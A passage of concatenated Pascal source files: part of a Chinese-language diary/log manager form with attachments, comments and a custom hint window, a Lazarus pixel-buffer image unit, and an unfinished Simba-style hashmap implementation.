Editor.SelAttributes.Color := clBlack
else
Editor.SelAttributes.Color := clGray;
Editor.SelAttributes.Size := 10;
Editor.SelAttributes.Style := [fsBold];
Editor.SelText := IntToStr(i + 1) + '、' + Trim(p^.szWisdom) + #13#10;
Inc(p);
end;
LM_DeleteWisdoms(pWisdoms);
end;
end;
SEARCH_TREE_NODE_ID:
begin
//
end;
else
if LM_GetLog(integer(Node.Data), @szTitle, @szContent, @nBufSize,
PChar(szCreateDate), PChar(szLastModiDate), @nReadTimes, @nCurrLine) then begin
lblCreateDate.Caption := szCreateDate;
lblModiDate.Caption := szLastModiDate;
Stream := TMemoryStream.Create;
try
Stream.WriteBuffer(szContent^, nBufSize);
Stream.Position := 0;
Editor.Lines.LoadFromStream(Stream);
Editor.Modified := False;
GetCommentById(integer(Node.Data));
Editor.ReadOnly := True;
Editor.SetFocus;
SendMessage(Editor.Handle, WM_VSCROLL, SB_VERT,
SendMessage(Editor.Handle, EM_LINEFROMCHAR, nCurrLine, 0));
finally
Stream.Free;
end;
//读取附件
Affixs := nil;
if LM_GetAffixList(integer(Node.Data), @Affixs, @nAffixCount) then
begin
pItem := Affixs;
for i := 0 to nAffixCount - 1 do
begin
FillChar(szFileName[1], 256, 0);
if LM_GetAffixInfo(pItem^, PChar(szFileName)) then
begin
Item := lvAffix.Items.Add;
Item.Caption := szFileName;
Item.Data := Pointer(pItem^);
end;
Inc(pItem);
end;
if Affixs <> nil then
LM_DeleteInt(Affixs);
end;
end else
ShowMessage('获取日志失败');
if szTitle <> nil then
LM_DeleteString(szTitle);
if szContent <> nil then
LM_DeleteString(szContent);
end;
FPreSelNode := Node;
end;
Editor.Modified := False;
FModified := False;
end;
procedure TFrmSmartLog.tvListClick(Sender: TObject);
begin
TreeViewSelChg;
end;
procedure TFrmSmartLog.tvListEdited(Sender: TObject; Node: TTreeNode;
var S: String);
begin
if Node <> nil then
begin
LM_UpdateTitle(integer(Node.Data), PChar(S));
end;
end;
procedure TFrmSmartLog.SaveNodeLog(Node: TTreeNode);
var
Stream: TMemoryStream;
StrAffix: string;
i: integer;
nLogId: integer;
begin
if Node <> nil then
begin
nLogId := integer(Node.Data);
if CheckIsSpecLogId(nLogId) then
Exit;
LM_UpdateLogLines(nLogId, Editor.SelStart);
if (not Editor.ReadOnly) and (Editor.Modified or FModified) then
begin
StrAffix := '';
for i := 0 to lvAffix.Items.Count - 1 do
begin
if lvAffix.Items.Item[i].Data = nil then
begin
StrAffix := StrAffix + lvAffix.Items.Item[i].Caption + '|';
end;
end;
Stream := TMemoryStream.Create;
try
Editor.Lines.SaveToStream(Stream);
if LM_UpdateLog(nLogId, PChar(Stream.Memory), Stream.Size, PChar(StrAffix), False) then
begin
Editor.Modified := False;
FModified := False;
Editor.PlainText := True;
Stream.Clear;
Editor.Lines.SaveToStream(Stream);
if not LM_UpdateLogPlainText(nLogId, PChar(Stream.Memory), Stream.Size) then
ShowMessage('更新日志文字失败');
Editor.PlainText := False;
end else
ShowMessage('更新日志失败');
finally
Stream.Free;
end;
end;
end;
end;
procedure TFrmSmartLog.miCreateChildNodeClick(Sender: TObject);
var
nParentId: integer;
StrLog: string;
nLogId: integer;
Node: TTreeNode;
begin
StrLog := InputBox('输入日志名称', '输入日志或者节点名称', '');
if StrLog <> '' then
begin
Node := tvList.Selected;
if Node <> nil then
nParentId := integer(Node.Data)
else
nParentId := 0;
nLogId := 0;
if LM_AddLog(@nLogId, nParentId, PChar(StrLog)) then
begin
tvList.Items.AddChildObject(Node, StrLog, Pointer(nLogId));
end else
ShowMessage('增加日志失败');
end;
end;
procedure TFrmSmartLog.miDelAffixClick(Sender: TObject);
var
Item: TListItem;
nAffixId: integer;
begin
Item := lvAffix.Selected;
if Item <> nil then
begin
nAffixId := 0;
if Item.Data <> nil then
begin
nAffixId := integer(Item.Data);
end;
lvAffix.DeleteSelected;
if nAffixId > 0 then
begin
if LM_DeleteAffix(nAffixId) then
ShowMessage('删除附件成功')
else
ShowMessage('删除附件失败');
end;
end;
end;
procedure TFrmSmartLog.miDelLogClick(Sender: TObject);
var
Node: TTreeNode;
nLogId: integer;
begin
Node := tvList.Selected;
if Node <> nil then
begin
if Node.Count > 0 then
begin
ShowMessage('不能删除有子节点的日志');
Exit;
end;
if Node.Data <> nil then
begin
nLogId := integer(Node.Data);
if nLogId > 0 then
begin
if LM_DeleteLog(nLogid) then
ShowMessage('删除日志成功')
else
ShowMessage('删除日志失败');
end;
end;
tvList.Items.Delete(Node);
end;
end;
procedure TFrmSmartLog.tvListChange(Sender: TObject; Node: TTreeNode);
begin
LoadNodeLog(Node);
end;
procedure TFrmSmartLog.InsertImage(FileName: string);
var
RichOle: IRichEditOle;
LockByte: ILockBytes;
Storage: IStorage;
FormatEtc: TFormatEtc;
OleObj: IOleObject;
ReObj: _REOBJECT;
xt: TGUID;
Site: IOleClientSite;
wFileName: array[0..MAX_PATH - 1] of WideChar;
begin
MultiByteToWideChar(Windows.GetACP, 0, PAnsiChar(FileName), -1, wFileName, MAX_PATH);
SendMessage(Editor.Handle, EM_GETOLEINTERFACE, 0, integer(@RichOle));
CreateILockBytesOnHGlobal(0, True, LockByte);
StgCreateDocfileOnILockBytes(LockByte, STGM_SHARE_EXCLUSIVE or STGM_CREATE or STGM_READWRITE,
0, Storage);
FormatEtc.cfFormat := 0;
FormatEtc.ptd := nil;
FormatEtc.dwAspect := DVASPECT_CONTENT;
FormatEtc.lindex := -1;
FormatEtc.tymed := TYMED_NULL;
FormatEtc.cfFormat := 0;
FormatEtc.ptd := nil;
FormatEtc.dwAspect := DVASPECT_CONTENT;
FormatEtc.lindex := -1;
FormatEtc.tymed := TYMED_NULL;
OleCreateFromFile(GUID_NULL, wFileName, IID_IOleObject, 0,
@FormatEtc, nil, Storage, OleObj);
OleSetContainedObject(OleObj, True);
FillChar(ReObj, SizeOf(_ReObject), 0);
ReObj.cbStruct := SizeOf(_ReObject);
OleObj.GetUserClassID(xt);
ReObj.clsid := xt;
ReObj.cp := REO_CP_SELECTION;
ReObj.dvaspect :=DVASPECT_CONTENT;
ReObj.dwFlags := REO_STATIC or REO_BELOWBASELINE;
ReObj.dwUser := 0;
ReObj.poleobj := OleObj;
RichOle.GetClientSite(Site);
Reobj.polesite := Site;
ReObj.pstg := Storage;
ReObj.sizel.cx := 0;
ReObj.sizel.cy := 0;
RichOle.InsertObject(ReObj);
end;
procedure TFrmSmartLog.EditInsertImageExecute(Sender: TObject);
var
Dlg: TOpenDialog;
begin
Dlg := TOpenDialog.Create(Self);
try
if Dlg.Execute then
InsertImage(Dlg.FileName);
finally
Dlg.Free;
end;
end;
procedure TFrmSmartLog.miCreateTopNodeClick(Sender: TObject);
var
StrLog: string;
nLogId: integer;
begin
StrLog := InputBox('输入日志名称', '输入日志或者节点名称', '');
if StrLog <> '' then
begin
nLogId := 0;
if LM_AddLog(@nLogId, 0, PChar(StrLog)) then
begin
tvList.Items.AddChildObject(nil, StrLog, Pointer(nLogId));
end else
ShowMessage('增加日志失败');
end;
end;
procedure TFrmSmartLog.fdTextFind(Sender: TObject);
var
nPos, FindAt, nLength: integer;
nLine: integer;
begin
FSearchText := fdText.FindText;
if frWholeWord in fdText.Options then
Include(FSearchType, stWholeWord);
if frMatchCase in fdText.Options then
Include(FSearchType, stMatchCase);
nPos := Editor.SelStart + Editor.SelLength;
nLength := Length(Editor.Text) - nPos;
FindAt := Editor.FindText(FSearchText, nPos, nLength, FSearchType);
if FindAt <> -1 then
begin
Editor.SelStart := FindAt;
Editor.SelLength := Length(FSearchText);
nLine := SendMessage(Editor.Handle, EM_LINEFROMCHAR, Editor.SelStart, 0);
Editor.SetFocus;
SendMessage(Editor.Handle, WM_VSCROLL, SB_VERT, nLine + 2);
end else
ShowMessage('没有找到匹配的字符串:' + FSearchText);
end;
procedure TFrmSmartLog.fdTextShow(Sender: TObject);
begin
fdText.FindText := FSearchText;
end;
procedure TFrmSmartLog.pmEditorPopup(Sender: TObject);
begin
if Editor.SelLength > 0 then
begin
miWisdom.Enabled := True;
miComment.Enabled := True;
miDeleteComment.Enabled := True;
end else
begin
miWisdom.Enabled := False;
miComment.Enabled := False;
miDeleteComment.Enabled := False;
end;
end;
procedure TFrmSmartLog.miWisdomClick(Sender: TObject);
var
Str: string;
nRow: integer;
begin
Str := Editor.SelText;
if (Str <> '' ) and (tvList.Selected <> nil) then
begin
nRow := SendMessage(Editor.Handle, EM_EXLINEFROMCHAR, 0, Editor.SelStart);
if LM_AddWisdom(Integer(tvList.Selected.Data), nRow, PChar(Str)) then
ShowMessage('加入名言警句成功')
else
ShowMessage('加入名方警句失败,有可能已经存在');
end
end;
procedure TFrmSmartLog.tvListDragOver(Sender, Source: TObject; X,
Y: Integer; State: TDragState; var Accept: Boolean);
begin
if Source = tvList then
begin
if (tvList.Selected <> nil) then
Accept := True
else
Accept := False;
end else
Accept := False;
end;
procedure TFrmSmartLog.tvListEndDrag(Sender, Target: TObject; X,
Y: Integer);
var
XYNode: TTreeNode;
SelNode: TTreeNode;
begin
if (Sender = tvList) and (Target = tvList) and (tvList.Selected <> nil) then
begin
SelNode := tvList.Selected;
XYNode := tvList.GetNodeAt(X, Y);
if (XYNode <> nil) and (XYNode <> SelNode) and (XYNode <> SelNode.Parent) then
begin
if LM_UpdateParentLogId(integer(SelNode.Data), integer(XYNode.Data)) then
SelNode.MoveTo(XYNode, naAddChild);
end;
end;
end;
{ TMyHintWindow }
procedure TMyHintWindow.ActivateHint(Rect: TRect; const AHint: string);
var
P: TPoint;
begin
//在这里取得一个适当的尺寸显示文字
FHintBmp.Width := Rect.Right - Rect.Left;
FHintBmp.Height := Rect.Bottom - Rect.Top + 4;
DrawHintImg(FHintBmp, AHint);
FWndBmp.Width := Rect.Right - Rect.Left + 23;
FWndBmp.Height := Rect.Bottom - Rect.Top + 27;
Inc(Rect.Right, 23);
Inc(Rect.Bottom, 27);
BoundsRect := Rect;
if Left < Screen.DesktopLeft then
Left := Screen.DesktopLeft;
if Top < Screen.DesktopTop then
Top := Screen.DesktopTop;
if Left + Width > Screen.DesktopWidth then
Left := Screen.DesktopWidth - Width;
if Top + Height > Screen.DesktopHeight then
Top := Screen.DesktopHeight - Height;
GetDesktopImg(FWndBmp, BoundsRect);
EffectHandle(FWndBmp, FHintBmp);
P := ClientToScreen(Point(0, 0));
SetWindowPos(Handle, HWND_TOPMOST, P.X, P.Y, 0, 0,
SWP_SHOWWINDOW or SWP_NOACTIVATE or SWP_NOSIZE);
end;
constructor TMyHintWindow.Create(Aowner: TComponent);
begin
inherited Create(AOwner);
FWndBmp := TBitmap.Create;
FWndBmp.PixelFormat := pf24bit;
FHintBmp := TBitmap.Create;
end;
procedure TMyHintWindow.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := Params.Style and (not WS_BORDER);
end;
destructor TMyHintWindow.Destroy;
begin
FWndBmp.Free;
FHintBmp.Free;
inherited;
end;
procedure TMyHintWindow.DrawHintImg(Bmp: TBitmap; AHint: string);
var
R: TRect;
begin
Bmp.Canvas.Brush.Color := Application.HintColor;
Bmp.Canvas.Pen.Color := Application.HintColor;
Bmp.Canvas.Rectangle(0, 0, Bmp.Width, Bmp.Height);
Bmp.Canvas.Font.Color := Screen.HintFont.Color;
R := Rect(0, 0, Bmp.Width, Bmp.Height);
Inc(R.Left, 2);
Inc(R.Top, 2);
DrawText(Bmp.Canvas.Handle, PChar(AHint), -1, R, DT_LEFT or DT_NOPREFIX
or DT_WORDBREAK or DrawTextBiDiModeFlagsReadingOnly);
end;
procedure TMyHintWindow.EffectHandle(WndBmp, HintBmp: TBitmap);
var
R: TRect;
i, j: Integer;
P: PByteArray;
Transt, TranstAngle: Integer;
begin
R := Rect(0, 0, WndBmp.Width - 4, WndBmp.Height - 4);
Frame3D(WndBmp.Canvas, R, clMedGray, clBtnShadow, 1);
//作窗口底下的阴影效果
Transt := 60;
for j:= WndBmp.Height - 4 to WndBmp.Height - 1 do
begin
P := WndBmp.ScanLine[j];
TranstAngle := Transt;
for i:= 3 to WndBmp.Width - 1 do
begin
//如果正处于右下角
if i > WndBmp.Width - 5 then
begin
P[3*i] := P[3*i] * TranstAngle div 100;
P[3*i + 1] := P[3*i + 1] * TranstAngle div 100;
P[3*i + 2] := P[3*i + 2] * TranstAngle div 100;
TranstAngle := TranstAngle + 10;
if TranstAngle > 90 then
TranstAngle := 90;
end else begin
P[3*i] := P[3*i] * Transt div 100;
P[3*i + 1] := P[3*i + 1] * Transt div 100;
P[3*i + 2] := P[3*i + 2] * Transt div 100;
end;
end;
Transt := Transt + 10;
end;
// 作窗口右边的阴影效果
for j := 3 to WndBmp.Height - 5 do
begin
P := WndBmp.ScanLine[j];
Transt := 60;
for i:= WndBmp.Width - 4 to WndBmp.Width -1 do
begin
P[3*i] := P[3*i] * Transt div 100;
P[3*i + 1] := P[3*i + 1] * Transt div 100;
P[3*i + 2] := P[3*i + 2] * Transt div 100;
Transt := Transt + 10;
end;
end;
WndBmp.Canvas.Draw(10, 10, HintBmp);
end;
procedure TMyHintWindow.GetDesktopImg(Bmp: TBitmap; R: TRect);
var
C: TCanvas;
begin
C:= TCanvas.Create;
try
C.Handle := GetDC(0);
Bmp.Canvas.CopyRect(Rect(0, 0, Bmp.Width, Bmp.Height), C, R);
finally
C.Free;
end;
end;
procedure TMyHintWindow.NCPaint(DC: HDC);
begin
//
end;
procedure TMyHintWindow.Paint;
begin
Canvas.CopyRect(ClientRect, FWndBmp.Canvas, ClientRect);
end;
procedure TFrmSmartLog.GetCommentById(const nLogId: integer);
var
p: PLOG_COMMENT_ITEM;
i: integer;
cf: CHARFORMAT2;
begin
if FLogComments <> nil then
begin
LM_DeleteCommentItems(FLogComments);
FLogComments := nil;
end;
FLogCommentCount := 0;
if LM_GetComments(nLogId, @FLogComments, @FLogCommentCount) then
begin
p := FLogComments;
for i := 0 to FLogCommentCount - 1 do
begin
Editor.SelStart := p^.nStart;
Editor.SelLength := p^.nLength;
FillChar(cf, SizeOf(CHARFORMAT2), 0);
cf.cbSize := SizeOf(CHARFORMAT2);
cf.dwMask := CFM_BACKCOLOR;
cf.crBackColor := COMMENT_BACK_COLOR;
Editor.Perform(EM_SETCHARFORMAT, SCF_SELECTION, Longint(@cf));
Inc(p);
end;
Editor.SelStart := 0;
end;
end;
procedure TFrmSmartLog.miCommentClick(Sender: TObject);
var
Str: string;
pBuf: PChar;
nBufSize: integer;
nCommentId: integer;
begin
Str := Editor.SelText;
if (Str <> '' ) and (tvList.Selected <> nil) then
begin
pBuf := nil;
if GetComment(tvList.Selected.Text, pBuf, nBufSize) then
begin
if LM_AddComment(@nCommentId, Integer(tvList.Selected.Data), Editor.SelStart, Editor.SelLength,
pBuf, nBufSize) then
ShowMessage('加入备注成功')
else
ShowMessage('加入备注失败');
end;
if (pBuf <> nil) then
FreeMem(pBuf);
end
end;
function TFrmSmartLog.GetCommentIdByCurrSel(
const nSelStart: integer): integer;
var
i: integer;
P: PLOG_COMMENT_ITEM;
begin
Result := 0;
if FLogComments <> nil then
begin
P := FLogComments;
for i := 0 to FLogCommentCount - 1 do
begin
if (nSelStart >= P^.nStart) and (nSelStart <= P^.nStart + P^.nLength) then
begin
Result := P^.nCommentId;
break;
end;
Inc(P);
end;
end;
end;
procedure TFrmSmartLog.EditorKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Editor.ReadOnly then
begin
if Key = VK_SPACE then
begin
SendMessage(Editor.Handle, WM_VSCROLL, SB_PAGEDOWN, 0);
end;
end
end;
procedure TFrmSmartLog.miDeleteCommentClick(Sender: TObject);
begin
if (Editor.SelLength > 0) and (tvList.Selected <> nil) then
begin
if LM_DeleteCommentBySel(Integer(tvList.Selected.Data), Editor.SelStart, Editor.SelLength) then
ShowMessage('删除备注成功')
else
ShowMessage('删除备注失败');
end
end;
procedure TFrmSmartLog.RefreshFormCaption(Node: TTreeNode);
var
Str: string;
ParentNode: TTreeNode;
begin
ParentNode := Node;
Str := '';
while ParentNode <> nil do
begin
if Str = '' then
Str := ParentNode.Text
else
Str := ParentNode.Text + '->' + Str;
ParentNode := ParentNode.Parent;
end;
Str := Str + ' - ' + Application.Title;
Caption := Str;
end;
procedure TFrmSmartLog.edtSearchTextEnter(Sender: TObject);
begin
if (edtSearchText.Text = '') or (edtSearchText.Text = '输入搜索词') then
edtSearchText.SelectAll;
end;
procedure TFrmSmartLog.sbSearchClick(Sender: TObject);
var
pItems, p: PLOG_NODE_ITEM;
nCount: integer;
i: integer;
Node: TTreeNode;
begin
if (edtSearchText.Text = '') or (edtSearchText.Text = '输入搜索词') then
begin
ShowMessage('请输入搜索词');
Exit;
end;
pItems := nil;
nCount := 0;
Node := GetSearchNode;
if Node <> nil then
begin
Node.DeleteChildren;
if LM_SearchText(PChar(edtSearchText.Text), @pItems, @nCount) then
begin
Node.Text := '搜索结果(' + IntToStr(nCount) + ')';
if pItems <> nil then
begin
p := pItems;
for i := 0 to nCount - 1 do
begin
tvList.Items.AddChildObject(Node, p^.szNodeName, Pointer(p^.nNodeId));
Inc(p);
end;
LM_DeleteNodeItems(pItems);
end;
end;
end;
end;
function TFrmSmartLog.GetSearchNode: TTreeNode;
var
i: integer;
begin
Result := nil;
for i := 0 to tvList.Items.Count - 1 do
begin
if DWORD(tvList.Items.Item[i].Data) = SEARCH_TREE_NODE_ID then
begin
Result := tvList.Items.Item[i];
break;
end;
end;
if Result = nil then
begin
Result := tvList.Items.AddChildObject(nil, '搜索结果', Pointer(SEARCH_TREE_NODE_ID));
end;
end;
function TFrmSmartLog.CheckIsSpecLogId(const nLogId: DWORD): Boolean;
begin
Result := (nLogId = WISDOM_TREE_NODE_ID) or (nLogId = SEARCH_TREE_NODE_ID);
end;
procedure TFrmSmartLog.miFindClick(Sender: TObject);
begin
fdText.Execute;
end;
function TFrmSmartLog.RegisterHotKey(const HotKey: string): Boolean;
var
Modifier: Cardinal;
wKey: WORD;
begin
FMsgHotKeyId := GlobalAddAtom(PChar(HotKey))-$C000;
StringHotKeyToWord(HotKey, Modifier, wKey);
if Windows.RegisterHotKey(Handle, FMsgHotKeyId, Modifier, wkey) then
Result := True
else
Result := False;
end;
procedure TFrmSmartLog.StringHotKeyToWord(const Str: string;
var fsModifier: Cardinal; var nKey: Word);
var
P: PChar;
S: string;
function GetNextStr(var P: PChar): string;
var
Start: PChar;
begin
Start := P;
Result := '';
while((P^ <> Chr(0)) and (P^ <> '+')) do
Inc(P);
if (P - Start) > 0 then
SetString(Result, Start, P - Start);
if P^ = '+' then
Inc(P);
end;
begin
fsModifier := 0;
P := PChar(Str);
S := GetNextStr(P);
nKey := Ord('I');
while(S <> '') do begin
if (S = 'CTRL') then
fsModifier := fsModifier or MOD_CONTROL
else if (S = 'ALT') then
fsModifier := fsModifier or MOD_ALT
else if (S = 'SHIFT') then
fsModifier := fsModifier or MOD_SHIFT
else if (Length(S) = 1) then
nKey := Ord(S[1]);
S := GetNextStr(P);
end;
end;
procedure TFrmSmartLog.WMHOTKEY(var Msg: TMessage);
begin
AddMemoLog;
end;
procedure TFrmSmartLog.miAccountClick(Sender: TObject);
begin
ShowAccountForm;
end;
procedure TFrmSmartLog.miAutoClick(Sender: TObject);
begin
ShowAutoForm;
end;
procedure TFrmSmartLog.miSetPwdClick(Sender: TObject);
begin
SetPassword;
end;
procedure TFrmSmartLog.ToolButton4Click(Sender: TObject);
var
Node: TTreeNode;
begin
Node := tvList.Selected;
if (Node <> nil) and (Node.Count = 0) and (Node.Data <> nil) then
begin
LM_IncReadLogTime(Integer(Node.Data));
end;
end;
procedure TFrmSmartLog.miRefreshClick(Sender: TObject);
var
Node: TTreeNode;
begin
Node := tvList.Selected;
if (Node <> nil) then
begin
Node.DeleteChildren;
FPreSelNode := nil;
LoadNodeLog(Node);
end;
end;
{ TRichEdit20 }
procedure TRichEdit20.CreateParams(var Params: TCreateParams);
const
RichEditModuleName = 'RICHED20.DLL';
ARYHideScrollBars: array[Boolean] of DWORD = (ES_DISABLENOSCROLL, 0);
HideSelections: array[Boolean] of DWORD = (ES_NOHIDESEL, 0);
begin
if FRichEditModule = 0 then
begin
FRichEditModule := LoadLibrary(RichEditModuleName);
if FRichEditModule <= HINSTANCE_ERROR then FRichEditModule := 0;
end;
inherited CreateParams(Params);
CreateSubClass(Params, 'RICHEDIT50W');
with Params do
begin
Style := Style or ARYHideScrollBars[HideScrollBars] or
HideSelections[HideSelection];
WindowClass.style := WindowClass.style and not (CS_HREDRAW or CS_VREDRAW);
end;
end;
procedure TFrmSmartLog.miWorkFlowClick(Sender: TObject);
begin
AddWorkFlow;
end;
procedure TFrmSmartLog.miSyncClick(Sender: TObject);
begin
ShowSyncPath;
end;
initialization
finalization
if (FRichEditModule <> 0) then
FreeLibrary(FRichEditModule);
end.
|
unit FastImage;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Graphics, GraphType, IntfGraphics,
Dialogs, LCLType;
type
TFastPixel = record
R, G, B, A:Byte;
end;
type
{ TFastImage }
TFastImage = class(TObject)
protected
FRawImage:TRawImage;
protected
function GetWidth:Cardinal;
function GetHeight:Cardinal;
procedure SetColor(AX,AY:Cardinal; const AColor: TFastPixel);
function GetColor(AX, AY: Cardinal): TFastPixel;
public
procedure SetSize(AWidth, AHeight:Cardinal);
procedure SaveToFile(AFileName:String);
procedure FastImageToPicture(P:TPicture);
public
property Width:Cardinal read GetWidth;
property Height:Cardinal read GetHeight;
property Color[AX,AY:Cardinal]:TFastPixel read GetColor write SetColor;
public
constructor Create;
destructor Destroy; override;
end;
function RGBAToFastPixel(R, G, B, A:Byte): TFastPixel;
implementation
function RGBAToFastPixel(R, G, B, A: Byte): TFastPixel;
begin
Result.R:= R;
Result.G:= G;
Result.B:= B;
Result.A:= A;
end;
{ TFastImage }
function TFastImage.GetWidth: Cardinal;
begin
Result:= FRawImage.Description.Width;
end;
function TFastImage.GetHeight: Cardinal;
begin
Result:= FRawImage.Description.Height;
end;
procedure TFastImage.SetColor(AX, AY: Cardinal; const AColor: TFastPixel);
var
P:Cardinal;
//TRawImagePosition
begin
if (AX > Width) or
(AY > Height) then
Exit;
{
0000|0000|0000|
0000|0000|0000|
0000|0000|0000|
0000|0000|0000|
***************
Width = 3
Height = 4
***************
X = 3 ►
Y = 3 ▼
***************
(((Y-1) * W) + (X-1)) * 4
(((3-1) * 3) + (3-1)) * 4
(( 2 * 3) + 2 ) * 4
( 6 + 2 ) * 4
8 * 4
32 Byte
}
P:= (((AY -1) * Width) + (AX -1)) * 4;
PByteArray(FRawImage.Data)^[P + 0]:= AColor.B; //B
PByteArray(FRawImage.Data)^[P + 1]:= AColor.G; //G
PByteArray(FRawImage.Data)^[P + 2]:= AColor.R; //R
PByteArray(FRawImage.Data)^[P + 3]:= AColor.A; //A
//--
end;
function TFastImage.GetColor(AX, AY: Cardinal): TFastPixel;
var
P:Cardinal;
//TRawImagePosition
begin
if (AX > Width) or
(AY > Height) then
Exit;
{
0000|0000|0000|
0000|0000|0000|
0000|0000|0000|
0000|0000|0000|
***************
Width = 3
Height = 4
***************
X = 3 ►
Y = 3 ▼
***************
(((Y-1) * W) + (X-1)) * 4
(((3-1) * 3) + (3-1)) * 4
(( 2 * 3) + 2 ) * 4
( 6 + 2 ) * 4
8 * 4
32 Byte
}
P:= (((AY -1) * Width) + (AX -1)) * 4;
Result.B:= PByteArray(FRawImage.Data)^[P + 0]; //B
Result.G:= PByteArray(FRawImage.Data)^[P + 1]; //G
Result.R:= PByteArray(FRawImage.Data)^[P + 2]; //R
Result.A:= PByteArray(FRawImage.Data)^[P + 3]; //A
//--
end;
procedure TFastImage.SetSize(AWidth, AHeight: Cardinal);
begin
if (Width = AWidth) and (Height = AHeight) or
(AWidth <= 0) or (AHeight <= 0) then
Exit;
FRawImage.Description.Width:= AWidth;
FRawImage.Description.Height:= AHeight;
FRawImage.Description.Init_BPP32_B8G8R8A8_BIO_TTB(AWidth, AHeight);
FRawImage.CreateData(True);
end;
procedure TFastImage.SaveToFile(AFileName: String);
var
//AImage: TLazIntfImage;
A:TPicture;
//tarinfimage : TLazIntfImage;
//hdl,mask:HBitmap;
begin
if (Width <= 0) or (Height <= 0) then Exit;
A:= TPicture.Create;
A.Bitmap.LoadFromRawImage(FRawImage, False);
A.SaveToFile(AFileName);
A.Free;
end;
procedure TFastImage.FastImageToPicture(P:TPicture);
begin
P.Bitmap.LoadFromRawImage(FRawImage, False);
end;
constructor TFastImage.Create;
begin
FRawImage.Init;
//--
FRawImage.Description.Init_BPP32_B8G8R8A8_BIO_TTB(0,0);
//--
FRawImage.CreateData(True);
//--
end;
destructor TFastImage.Destroy;
begin
FRawImage.FreeData;
inherited Destroy;
end;
end.
|
{!DOCTOPIC}{ HashMap }
type
TEntryVariant = record Key, Value: Variant; end;
THashMap = record
//private
FTable: Array of Array of TEntryVariant;
FLen: Integer;
//public
//constructor Create(Size:Integer);
//function Get(Key: UInt32; var Value: Int32): Boolean; Inline;
//function Add(Key: UInt32; Value:Int32): Boolean; Inline;
//Destructor Destroy; override;
end;
{!DOCREF} {
@method: procedure THashMap.Create(Capacity:Int32=768);
@desc: Creates a new hashmap of the given size. `Capacity` should always be a bit larger then the actuall length for optimal performance.
}
procedure THashMap.Create(Capacity:Int32=768);
begin
FLen := Math.NextPow2m1(Trunc(Capacity * 1.25));
SetLength(FTable, FLen+1);
end;
{!DOCREF} {
@method: procedure THashMap.Free();
@desc: Frees the hashmap.
}
procedure THashMap.Free();
begin
SetLength(Self.FTable, 0);
Self.FLen := 0;
end;
{!DOCREF} {
@method: procedure THashMap.FromString(DStr:String; Sep:Char=';'; Capacity:Int32=12);
@desc:
Converts the string in to a dictionary/hashmap.
[code=pascal]
var
h:THashMap;
Str:String; x:Double;
begin
h.FromString('x:1.9; 6.5:hello world');
h.Get('x', x);
h.Get(6.5, str);
WriteLn(x);
WriteLn(str);
end.
[/code]
}
procedure THashMap.FromString(DStr:String; Sep:Char=';'; Capacity:Int32=12);
var
v: String;
i:Int32;
Items,kv: TStringArray;
begin
if Sep = ':' then RaiseException('THashMap.FromString: Separator cannot be colon');
Items := DStr.Split(Sep);
Self.Create(Max(Length(Items)*3, Capacity));
for i:=0 to High(Items) do
begin
kv := Items[i].Split(':');
if length(kv) <> 2 then
RaiseException('THashMap.FromString: Item: "'+Items[i]+'" is invalid');
V := kv[0].strip(' ');
if V.IsFloat() then
Self.Add(VarAsType(v,varDouble),kv[1].strip(' '))
else if V.IsDigit() then
if length(V) > 7 then begin
Self.Add(VarAsType(v,varInt64),kv[1].strip(' '))
end else begin
Self.Add(VarAsType(v,varInteger),kv[1].strip(' '));
end
else
Self.Add(v,kv[1].strip(' '));
end;
end;
function THashMap.Hash(x:Variant): UInt32;
var s:String; ptr:PChar; hiptr:UInt32; tmp:Double;
begin
if VarIsNumeric(x) and Not(VarIsFloat(x)) then Exit(x and FLen);
Result := 5381;
s := VarAsType(x,varString);
WriteLn(VarAsType(x,varString));
ptr := PChar(s);
hiptr := UInt32(ptr[0]+Length(S));
while (UInt32(ptr) < hiptr) do begin
Result := ((Result shl 5) + Result) + ord(ptr^);
inc(ptr);
end;
Result := Result and FLen;
end;
function CompareVarKeys(v1,v2:Variant): Boolean;
begin
if VarIsStr(v1) and Not(VarIsStr(v2)) then Exit(False);
if VarIsFloat(v1) and Not(VarIsFloat(v2)) then Exit(False);
if VarIsOrdinal(v1) and Not(VarIsOrdinal(v2)) then Exit(False);
if VarIsNumeric(v1) and Not(VarIsNumeric(v2)) then Exit(False);
Result := v1 = v2;
end;
{!DOCREF} {
@method: function THashMap.Add(Key: Variant; Value:Variant): Boolean;
@desc:
Adds a new item to the hashmap.
[b]Keys supported:[/b] Digits, Strings, Floats and Boolean
[b]Values supported:[/b] Digits, Strings, Floats, Boolean, TPoint, TBox
[code=pascal]
var
h:THashMap;
str:String;
begin
h.Create();
h.Add(5,'hello world');
h.Get(5,str);
WriteLn(str);
end.
[/code]
>> `hello world`
}
function THashMap.Add(Key: Int32; Value:Int32): Boolean;
var h,l,i: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Key and FLen;
l := Length(Self.FTable[h]);
for i:=0 to l-1 do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Self.FTable[h][i].Value := Value;
Exit(True);
end;
SetLength(Self.FTable[h], l+1);
Self.FTable[h][l].Key := Key;
Self.FTable[h][l].Value := Value;
Result := True;
end;
function THashMap.Add(Key: Variant; Value:TPoint): Boolean; overload;
var h,l,i: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := Length(Self.FTable[h]);
for i:=0 to l-1 do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Self.FTable[h][i].Value := ToString(Value);
Exit(True);
end;
SetLength(Self.FTable[h], l+1);
Self.FTable[h][l].Key := Key;
Self.FTable[h][l].Value := ToString(Value);
Result := True;
end;
function THashMap.Add(Key: Variant; Value:TBox): Boolean; overload;
var h,l,i: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := Length(Self.FTable[h]);
for i:=0 to l-1 do
if CompareVarKeys(self.FTable[h][i].Key, Key) then
begin
Self.FTable[h][i].Value := ToString(Value);
Exit(True);
end;
SetLength(Self.FTable[h], l+1);
Self.FTable[h][l].Key := Key;
Self.FTable[h][l].Value := ToString(Value);
Result := True;
end;
function THashMap.Add(Key: Variant; Value:Variant): Boolean; overload;
var h,l,i: Int32;
begin
if FLen = 0 then RaiseException('THashMap: Not yet initalized');
h := Self.Hash(Key);
l := Length(Self.FTable[h]);
for i:=0 to l-1 do
